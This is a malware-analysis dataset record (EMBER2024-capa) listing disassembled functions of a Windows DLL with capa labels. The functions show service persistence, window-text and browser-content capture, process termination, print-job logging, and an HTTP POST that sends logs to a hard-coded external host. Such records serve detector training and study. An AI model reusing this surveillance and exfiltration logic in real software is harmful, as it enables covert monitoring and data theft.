joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004050
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa14
mov dword [ebp - 0xa14], ecx
mov eax, dword [ebp + 8]
push eax
push str.RegistryMachineSystemCurrentControlSetServices_
push 0x100d77ac
push 0x104
lea ecx, [ebp - 0x208]
push ecx
call fcn.10003de0
add esp, 0x14
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0xa10]
push eax
mov ecx, dword [ebp - 0xa14]
mov edx, dword [ecx + 4]
call edx
lea eax, [ebp - 0xa10]
push eax
mov ecx, dword [ebp - 0xa14]
mov edx, dword [ecx + 0xc]
call edx
mov eax, dword [ebp + 8]
push eax
push str.SYSTEMCurrentControlSetServices_
push str._s_sEnum
push 0x400
lea ecx, [ebp - 0xa08]
push ecx
call fcn.10003de0
add esp, 0x14
lea edx, [ebp - 0xa08]
push edx
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov eax, dword [ebp + 8]
push eax
push str.SYSTEMCurrentControlSetServices_
push 0x100d77ac
push 0x400
lea ecx, [ebp - 0xa08]
push ecx
call fcn.10003de0
add esp, 0x14
lea edx, [ebp - 0xa08]
push edx
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov esp, ebp
pop ebp
ret 4

Function at 0x10004120
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.100b7e70
mov dword [ebp - 0x1014], ecx
mov dword [ebp - 4], 1
mov dword [ebp - 0xc], 3
mov eax, dword [ebp + 8]
push eax
push str.SYSTEMCurrentControlSetServices_
push 0x100d77ac
push 0x400
lea ecx, [ebp - 0x810]
push ecx
call fcn.10003de0
add esp, 0x14
mov edx, dword [ebp + 0xc]
push edx
push 0x100d7814
push 0x400
lea eax, [ebp - 0x1010]
push eax
call fcn.10003de0
add esp, 0x10
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x810]
push edx
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x10004234
mov eax, dword [ebp + 8]
push eax
call fcn.1009ecbb
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
mov edx, dword [ebp + 8]
push edx
push 1
push 0
push str.DisplayName
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea ecx, [ebp - 0x1010]
push ecx
call fcn.1009ecbb
add esp, 4
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x1010]
push eax
push 1
push 0
push 0x100d7834
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [ebp - 4]
push edx
push 4
push 0
push str.Type
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea ecx, [ebp - 0xc]
push ecx
push 4
push 0
push str.Start
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x10004236
xor al, al
mov esp, ebp
pop ebp
ret 8
Function at 0x100067d0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100cb486
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov dword [eax], edx
mov eax, dword [ebp + 8]
add eax, 4
mov ecx, dword [ebp - 0x10]
add ecx, 4
mov edx, dword [eax]
mov dword [ecx], edx
mov edx, dword [eax + 4]
mov dword [ecx + 4], edx
mov edx, dword [eax + 8]
mov dword [ecx + 8], edx
mov edx, dword [eax + 0xc]
mov dword [ecx + 0xc], edx
mov eax, dword [eax + 0x10]
mov dword [ecx + 0x10], eax
mov ecx, dword [ebp + 8]
add ecx, 0x18
push ecx
mov ecx, dword [ebp - 0x10]
add ecx, 0x18
call fcn.100719e0
mov dword [ebp - 4], 0
mov edx, dword [ebp + 8]
add edx, 0x20
push edx
mov ecx, dword [ebp - 0x10]
add ecx, 0x20
call fcn.100719e0
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
add eax, 0x28
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x28
call fcn.100719e0
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x30]
mov dword [ecx + 0x30], eax
mov edx, dword [edx + 0x34]
mov dword [ecx + 0x34], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x38]
mov dword [eax + 0x38], edx
mov ecx, dword [ecx + 0x3c]
mov dword [eax + 0x3c], ecx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x10007e20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 0
push 0
mov eax, dword [ebp - 4]
push eax
push 0x100068a0
push 0x800
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret

Function at 0x10007e50
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
push str.Starting_AOL_Finder
call fcn.10010cb0
add esp, 4
mov eax, dword [ebp - 8]
mov dword [eax + 0x118], 0
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x11c], 0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
je 0x10007eb1
push str.Failed_to_initialize_com
call fcn.10010cb0
add esp, 4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10007e8b
call fcn.10012940
push str.WM_HTML_GETOBJECT
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
mov edx, dword [ebp - 8]
mov dword [edx + 0xe0], eax
push str.OLEACC.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 4], eax
push str.ObjectFromLresult
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0xe4], eax
mov edx, 1
test edx, edx
je 0x10007f15
mov eax, dword [ebp - 8]
push eax
push 0x10007bb0
call dword [sym.imp.USER32.dll_EnumWindowStationsW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10007ef0
mov esp, ebp
pop ebp
ret
Function at 0x1000b6b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x474
mov dword [ebp - 0x474], ecx
push str.C:WindowsSystem32ExpGateway.exe
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x474]
call fcn.1000d340
mov dword [ebp - 0x470], eax
push bind
push 0
push 0x104
lea ecx, [ebp - 0x208]
push ecx
call fcn.1009da4e
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0
jl 0x1000b725
push bind
mov edx, dword [ebp - 0x470]
push edx
push 0
push 0x104
lea eax, [ebp - 0x208]
push eax
call fcn.1009db9f
mov dword [ebp - 0x46c], eax
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x208]
push edx
push str.__s____s_
push 0x104
lea eax, [ebp - 0x410]
push eax
call fcn.10003de0
add esp, 0x14
mov dword [ebp - 0x460], 0
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x468], 0
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x458], 0x44
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x450], str.WinSta0Default
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x438], 0x50
mov dword [ebp - 0x434], 0x5a
mov dword [ebp - 0x430], 0x74
mov dword [ebp - 0x42c], 6
mov ecx, 5
mov word [ebp - 0x428], cx
xor edx, edx
mov word [ebp - 0x426], dx
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0
lea eax, [ebp - 0x468]
push eax
lea ecx, [ebp - 0x458]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea edx, [ebp - 0x410]
push edx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea ecx, [ebp - 0x208]
push ecx
push str.Execute
mov ecx, dword [ebp - 0x474]
call fcn.1000ce10
mov esp, ebp
pop ebp
ret 8
Function at 0x1000b880
Capabilities:
Check if file exists
Delete file
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp + 8]
push eax
push str.Trying_to_execute_queries_in__ws
call fcn.10010cb0
add esp, 8
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1000b9b4
mov dword [ebp - 0x10], 0
push 0
push 0
push 3
push 0
push 1
push SysReAllocStringLen
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
add eax, 0xa
push eax
call fcn.1009ead1
add esp, 4
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xc], ecx
push 0
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x10]
mov byte [eax], 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0xc]
push eax
push str.Running_query:__hs
call fcn.10010cb0
add esp, 8
mov eax, dword [ebp - 0x10]
add eax, 1
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1009ead1
add esp, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
push ecx
push 0x100defa0
mov edx, dword [ebp - 0x10]
add edx, 1
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.10003de0
add esp, 0x10
mov ecx, dword [ebp - 8]
push ecx
mov ecx, dword [ebp - 0x24]
call fcn.10017010
mov edx, dword [ebp - 8]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.1009ea5c
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.1009ea5c
add esp, 4
mov esp, ebp
pop ebp
ret 4
Function at 0x1000cf00
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
push 0x80
mov edx, dword [ebp - 4]
add edx, 4
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0x80
mov ecx, dword [ebp - 4]
add ecx, 0x104
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_GetClassNameW]
mov eax, dword [ebp - 4]
add eax, 0x104
push eax
mov ecx, dword [ebp - 4]
add ecx, 4
push ecx
mov edx, dword [ebp + 8]
push edx
push str.HWND_t_:__x_Text__ws__Class__ws_
call fcn.10010cb0
add esp, 0x10
mov esp, ebp
pop ebp
ret 4

Function at 0x1000d700
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x100f4c50]
call fcn.10019b20
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000d771
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0xc]
push ecx
push str.Process_Terminated
mov ecx, dword [ebp - 0xc]
call fcn.1000ce10
mov edx, dword [ebp + 0xc]
push edx
push str.BlockedProgram
mov ecx, dword [ebp - 0xc]
call fcn.1000b6b0
mov al, 1
jmp 0x1000d773
xor al, al
mov esp, ebp
pop ebp
ret 8

Function at 0x1000db10
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100cbc8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x978
mov dword [ebp - 0x984], ecx
push 1
push str.EnablePrintJobLogging
mov ecx, dword [ebp - 0x984]
call fcn.1000d5d0
movzx eax, al
test eax, eax
jne 0x1000db54
mov al, 1
jmp 0x1000dc15
push 0x104
lea ecx, [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str.WinSBSPrintJobs_
push 0x104
lea edx, [ebp - 0x214]
push edx
call fcn.10001ec0
lea ecx, [ebp - 0x974]
call fcn.10073e10
mov dword [ebp - 4], 0
push 1
push str.PrintJobs
lea ecx, [ebp - 0x974]
call fcn.10073fb0
mov eax, dword [ebp + 8]
cdq
push edx
push eax
push str.InternalID_I64d
lea eax, [ebp - 0x974]
push eax
call fcn.10073f30
add esp, 0x10
push 0
push str.InternalID
lea ecx, [ebp - 0x974]
call fcn.100745d0
push 0xffffffffffffffff
lea ecx, [ebp - 0x214]
push ecx
push str.PageCaptures
lea ecx, [ebp - 0x974]
call fcn.10074400
lea edx, [ebp - 0x974]
push edx
mov ecx, 0x100f57d0
call fcn.10073b60
mov byte [ebp - 0x975], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x974]
call fcn.10073ef0
mov al, byte [ebp - 0x975]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x10010040
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
push 0x11
push 2
push 2
call dword [sym.imp.WSOCK32.dll_socket]
mov ecx, dword [ebp - 0x18]
mov dword [ecx + 0x14], eax
mov edx, dword [ebp - 0x18]
cmp dword [edx + 0x14], 0xffffffff
jne 0x1001006e
mov eax, 0xfffffffd
jmp 0x10010134
push 0x10
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.1009eb40
add esp, 0xc
push 0
call dword [sym.imp.WSOCK32.dll_htonl]
mov dword [ebp - 0x10], eax
mov ecx, 2
mov word [ebp - 0x14], cx
xor edx, edx
mov word [ebp - 0x12], dx
push 0x10
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x14]
push edx
call dword [sym.imp.WSOCK32.dll_bind]
cmp eax, 0xffffffff
je 0x100100bd
push str.Bound_to_UDP_Socket
call fcn.10010cb0
add esp, 4
mov dword [ebp - 4], 1
push 4
lea eax, [ebp - 4]
push eax
push 0x20
push 0xffff
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x14]
push edx
call dword [sym.imp.WSOCK32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x100100f7
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x14]
push ecx
call dword [sym.imp.WSOCK32.dll_closesocket]
mov eax, 1
jmp 0x10010134
mov edx, 2
mov eax, dword [ebp - 0x18]
mov word [eax + 4], dx
push 0x18db
call dword [sym.imp.WSOCK32.dll_htons]
mov ecx, dword [ebp - 0x18]
mov word [ecx + 6], ax
mov edx, dword [ebp - 0x18]
mov dword [edx + 8], 0xffffffff
push 8
push 0
mov eax, dword [ebp - 0x18]
add eax, 0xc
push eax
call fcn.1009eb40
add esp, 0xc
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10010140
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x118], 0
jmp 0x10010174
mov eax, dword [ebp - 0x118]
add eax, 1
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [ebp - 0x108]
jae 0x1001019e
mov edx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp + edx*4 - 0x104]
cmp ecx, dword [eax + 0x14]
jne 0x1001019c
jmp 0x1001019e
jmp 0x10010165
mov edx, dword [ebp - 0x118]
cmp edx, dword [ebp - 0x108]
jne 0x100101da
cmp dword [ebp - 0x108], 0x40
jae 0x100101da
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ecx + 0x14]
mov dword [ebp + eax*4 - 0x104], edx
mov eax, dword [ebp - 0x108]
add eax, 1
mov dword [ebp - 0x108], eax
xor ecx, ecx
jne 0x10010159
mov edx, dword [ebp + 8]
mov dword [ebp - 0x110], edx
mov dword [ebp - 0x10c], 0
lea eax, [ebp - 0x110]
push eax
push 0
push 0
lea ecx, [ebp - 0x108]
push ecx
push 1
call dword [sym.imp.WSOCK32.dll_select]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jle 0x100102cd
push 0x800
push 0
mov edx, dword [ebp - 0x11c]
add edx, 0x85c
push edx
call fcn.1009eb40
add esp, 0xc
push 0
push 0x800
mov eax, dword [ebp - 0x11c]
add eax, 0x85c
push eax
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ecx + 0x14]
push edx
call dword [sym.imp.WSOCK32.dll_recv]
mov ecx, dword [ebp - 0x11c]
mov dword [ecx + 0x105c], eax
mov edx, dword [ebp - 0x11c]
add edx, 0x85c
push edx
call fcn.1009f268
add esp, 4
mov ecx, dword [ebp - 0x11c]
mov dword [ecx + 0x1060], eax
mov edx, dword [ebp - 0x11c]
add edx, 0x860
push edx
call fcn.1009f268
add esp, 4
mov ecx, dword [ebp - 0x11c]
mov dword [ecx + 0x1064], eax
mov edx, dword [ebp - 0x11c]
add edx, 0x864
mov eax, dword [ebp - 0x11c]
mov dword [eax + 0x858], edx
mov al, 1
jmp 0x100102cf
xor al, al
mov esp, ebp
pop ebp
ret 4
Function at 0x10010420
Capabilities:
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
lea eax, [ebp + 0x18]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 0x14]
push edx
push 0x7fe
mov eax, dword [ebp + 8]
add eax, 0x19
push eax
call fcn.100a7ffe
add esp, 0x10
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
mov ecx, dword [ebp + 8]
mov dl, byte [ebp + 0x10]
mov byte [ecx + 0x18], dl
push 0x10
mov eax, dword [ebp + 8]
add eax, 4
push eax
push 0
mov ecx, dword [ebp + 8]
add ecx, 0x18
push ecx
call fcn.1009ec30
add esp, 4
push eax
mov edx, dword [ebp + 8]
add edx, 0x18
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x14]
push ecx
call dword [sym.imp.WSOCK32.dll_sendto]
cmp eax, 0xffffffff
jne 0x1001052b
push str.Failed_to_send_on_socket__Restarting_winsock
call fcn.10010cb0
add esp, 4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x198]
push edx
push 0x202
call dword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
je 0x100104d5
push str.Winsock_did_not_appear_to_initialize
call fcn.10010cb0
add esp, 4
xor al, al
jmp 0x10010541
push str.Winsock_did_initialize
call fcn.10010cb0
add esp, 4
push 0x10
mov eax, dword [ebp + 8]
add eax, 4
push eax
push 0
mov ecx, dword [ebp + 8]
add ecx, 0x18
push ecx
call fcn.1009ec30
add esp, 4
push eax
mov edx, dword [ebp + 8]
add edx, 0x18
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x14]
push ecx
call dword [sym.imp.WSOCK32.dll_sendto]
cmp eax, 0xffffffff
jne 0x10010527
push str.Failed_on_second_attempt_to_send.
call fcn.10010cb0
add esp, 4
xor al, al
jmp 0x10010541
mov al, 1
jmp 0x10010541
cmp dword [ebp + 0xc], 1
jge 0x10010535
mov al, 1
jmp 0x10010541
mov edx, dword [ebp + 0xc]
push edx
mov ecx, dword [ebp + 8]
call fcn.10010140
mov esp, ebp
pop ebp
ret
Function at 0x10010cb0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
cmp dword [ebp + 8], 0
jne 0x10010cc4
jmp 0x10010ddc
lea eax, [ebp + 0xc]
mov dword [ebp - 0x814], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x81c], ecx
push bind
push 0
push 0x800
lea edx, [ebp - 0x810]
push edx
call fcn.1009da18
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x818], 0
jl 0x10010d24
mov eax, dword [ebp - 0x814]
push eax
mov ecx, dword [ebp - 0x81c]
push ecx
push 0
push 0x800
lea edx, [ebp - 0x810]
push edx
call fcn.1009dbf5
mov dword [ebp - 0x818], eax
mov dword [ebp - 0x814], 0
push bind
lea eax, [ebp - 0x824]
push eax
push 0x800
lea ecx, [ebp - 0x810]
push ecx
call fcn.1009da18
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x820], 0
jl 0x10010d8b
push bind
push 0x100e41e4
push 0
mov edx, 0x800
sub edx, dword [ebp - 0x824]
push edx
mov eax, dword [ebp - 0x824]
lea ecx, [ebp + eax - 0x810]
push ecx
call fcn.1009db50
mov dword [ebp - 0x820], eax
lea edx, [ebp - 0x810]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x100e41e8
push str.C:EATempEA.txt
call fcn.1009fa5e
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10010ddc
lea eax, [ebp - 0x810]
push eax
push 0x529
push str._d__s
mov ecx, dword [ebp - 4]
push ecx
call fcn.1009f569
add esp, 0x10
mov edx, dword [ebp - 4]
push edx
call fcn.1009e9e0
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x10011920
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
jmp 0x10011938
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
test eax, eax
je 0x10011955
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
cmp edx, 0x20
jne 0x10011953
mov eax, dword [ebp - 0x18]
mov byte [eax], 3
jmp 0x1001192f
push 6
push 1
push 2
call dword [sym.imp.WSOCK32.dll_socket]
mov dword [ebp - 0x14], eax
push 0x10
push 0
lea ecx, [ebp - 0x10]
push ecx
call fcn.1009eb40
add esp, 0xc
mov edx, 2
mov word [ebp - 0x10], dx
push 0x50
call dword [sym.imp.WSOCK32.dll_htons]
mov word [ebp - 0xe], ax
push str.205.234.148.158
call dword [sym.imp.WSOCK32.dll_inet_addr]
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WSOCK32.dll_connect]
test eax, eax
jne 0x10011a6f
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x190
push eax
call fcn.1009ead1
add esp, 4
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov ecx, dword [0x100f4c54]
add ecx, 0x170a
push ecx
call fcn.1009ecbb
add esp, 4
mov esi, eax
mov edx, dword [ebp + 8]
push edx
call fcn.1009ec30
add esp, 4
lea eax, [esi + eax + 0xa]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [0x100f4c54]
add edx, 0x170a
push edx
push 0x529
mov eax, dword [ebp - 0x1c]
push eax
push str.POST__ea_updates_GetLog.php_HTTP_1.1_r_nUser_agent:_EAFusion_r_nAccept:___r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:__d_r_nHost:_www.exploreanywhere.net_r_n_r_nb_dk_wsx_hsnocache1_r_n
push 0x190
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.10003100
add esp, 0x1c
push 0
mov edx, dword [ebp - 0x20]
push edx
call fcn.1009ec30
add esp, 4
push eax
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WSOCK32.dll_send]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
push eax
call fcn.1009ea5c
add esp, 4
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WSOCK32.dll_closesocket]
xor eax, eax
jmp 0x10011a71
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10012940
Capabilities:
Migrate process to active window station

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x2000000
push 0
push str.WinSta0
call dword [sym.imp.USER32.dll_OpenWindowStationW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1001296b
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetProcessWindowStation]
push 0x2000000
push 0
push 0
call dword [sym.imp.USER32.dll_OpenInputDesktop]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_SwitchDesktop]
mov esp, ebp
pop ebp
ret

Function at 0x100142b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
je 0x100142c2
jmp 0x100142f6
mov dword [0x100f4c50], 0
mov ecx, dword [ebp + 8]
mov dword [0x100f4c10], ecx
push 0x43
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x100142f6
push 0
push 0
push 0
push 0x10012ed0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc

Function at 0x100144a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 0xc], eax
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
push 0x10014410
push 0x800
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
mov esp, ebp
pop ebp
ret 8